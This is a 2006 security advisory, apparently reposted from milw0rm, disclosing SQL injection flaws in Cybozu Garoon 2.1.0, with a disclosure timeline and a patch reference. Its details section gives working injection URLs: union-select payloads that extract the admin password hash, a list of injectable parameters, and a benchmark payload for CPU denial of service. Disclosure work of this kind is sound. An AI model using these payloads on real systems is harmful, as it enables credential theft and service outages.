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114 lines
4.9 KiB
Text
Executable file
114 lines
4.9 KiB
Text
Executable file
Cybozu Garoon 2 SQL Injection Vulnerabilities
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by Tan Chew Keong
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Release Date: 2006-08-28
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Summary
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Some SQL injection vulnerabilities have been found in Cybozu Garoon 2. When exploited by a logon user,
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the vulnerabilities allow manipulation of SQL statements which can lead to disclosure of information
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from the database, or to cause the backend MySQL database to consume large amount of CPU resources.
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Tested Versions
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Cybuzu Garoon 2 Version 2.1.0 for Windows
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Details
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This advisory discloses several SQL injection vulnerabilities in Cybozu Garoon 2.
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1) TODO List View/Modify SQL Injection Cybuzu Garoon 2 does not properly sanitise the "tid" parameter
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in the TODO List View and Modify functionality. It is possible for a logon user to exploit this vulnerability
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to select values from arbitrary tables in the database.
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When logon as a normal user:
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TESTING NOTE a - In order for the examples to work, you must first logon as a user, then click on the TODO List link (icon) to go to the TODO List index page, before using the exploit.
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TESTING NOTE b - Example 2 requires that at least 1 TODO List category has been created (category value 1).
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Example 1:
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To retrieve the admin user's password hash via TODO List View.
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http://192.168.1.64/scripts/cbgrn/grn.exe/todo/view?tid=9999999)+union+select+1,null,col_foreign_key,col_password,2,null,0,null,null,null,null+from+tab_cb_user+where+_id=1/*&cid=
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Example 2:
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To retrieve the admin user's password hash via TODO List Modify.
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http://192.168.1.64/scripts/cbgrn/grn.exe/todo/modify?tid=9999999)+union+select+1,null,col_foreign_key,col_password,1,null,0,null,null,null,null+from+tab_cb_user+where+_id=1/*&cid=
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2) Workflow View/Print SQL Injection
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Cybuzu Garoon 2 does not properly sanitise the "pid" parameter in the Workflow View and Print functionality.
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It is possible for a logon user to exploit this vulnerability to select values from arbitrary tables in the database.
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Example 1:
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To retrieve the admin user's password hash via Workflow View.
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http://192.168.1.64/scripts/cbgrn/grn.exe/workflow/view?fid=9&pid=8888888+union+select+1,2,3,4,5,6,7,8,9,10,11,12,col_foreign_key,14,col_password,16,17,18,19,20,21,22+from+tab_cb_user where _id=1/*
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Example 2:
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To retrieve the admin user's password hash via Workflow Print.
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http://192.168.1.64/scripts/cbgrn/grn.exe/workflow/print?fid=9&pid=7777777+union+select+col_password,2,3,4,col_foreign_key,6,7,8,9,10,11,12,13,14,15,16,17,18+from+tab_cb_user where _id=1/*
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Note: In order for example 2 to work, "fid" must be a valid folder ID.
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3) Other SQL Injection Vulnerabilities
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Several other SQL injection vulnerabilities exists. These may e.g. be exploited to cause the MySQL-based Cybozu Database Engine to consume large amount of CPU resources, potentially causing a DoS.
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SQL Injection:
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http://192.168.1.64/scripts/cbgrn/grn.exe/todo/index?cid=[SQL]
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http://192.168.1.64/scripts/cbgrn/grn.exe/todo/delete?tid=[SQL]
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http://192.168.1.64/scripts/cbgrn/grn.exe/schedule/user_view?uid=1[SQL]
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http://192.168.1.64/scripts/cbgrn/grn.exe/phonemessage/add?gid=1&uid=1[SQL]
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http://192.168.1.64/scripts/cbgrn/grn.exe/phonemessage/history?gid=1&uid=1[SQL]
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http://192.168.1.64/scripts/cbgrn/grn.exe/memo/view?iid=1[SQL]&did=
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http://192.168.1.64/scripts/cbgrn/grn.exe/memo/print?iid=1[SQL]&did=
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http://192.168.1.64/scripts/cbgrn/grn.exe/schedule/view?event=1[SQL]
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http://192.168.1.64/scripts/cbgrn/grn.exe/schedule/view?event=1&uid=1[SQL]
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Test Samples:
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http://192.168.1.64/scripts/cbgrn/grn.exe/todo/index?cid='
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http://192.168.1.64/scripts/cbgrn/grn.exe/todo/delete?tid='
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http://192.168.1.64/scripts/cbgrn/grn.exe/schedule/user_view?uid=1'
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http://192.168.1.64/scripts/cbgrn/grn.exe/phonemessage/add?gid=1&uid=1'
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http://192.168.1.64/scripts/cbgrn/grn.exe/phonemessage/history?gid=1&uid=1'
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http://192.168.1.64/scripts/cbgrn/grn.exe/memo/view?iid=1'&did=
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http://192.168.1.64/scripts/cbgrn/grn.exe/memo/print?iid=1'&did=
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http://192.168.1.64/scripts/cbgrn/grn.exe/schedule/view?event=1'
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http://192.168.1.64/scripts/cbgrn/grn.exe/schedule/view?event=1&uid=1'
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Example Exploit Against MySQL Backend:
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http://192.168.1.64/scripts/cbgrn/grn.exe/todo/index?cid=9999999)+ORDER+BY+_id,rand(benchmark(1000000000000,sha1(123456781234567812345678)))/*
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Patch / Workaround
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Update to version 2.1.1.
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References
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http://cybozu.co.jp/products/dl/notice_060825/
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Disclosure Timeline
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2006-07-04 - Vulnerability Discovered.
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2006-07-13 - Initial Vendor Notification.
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2006-07-13 - Initial Vendor Reply.
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2006-07-14 - Received scheduled patch release date from vendor.
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2006-08-16 - Received notification that patch release will be delayed.
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2006-08-25 - Vendor released patch information on website.
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2006-08-28 - Public Disclosure.
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Contact
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For further enquries, comments, suggestions or bug reports, simply email them to
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Tan Chew Keong (chewkeong[at]vuln[dot]sg)
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# milw0rm.com [2006-08-28]
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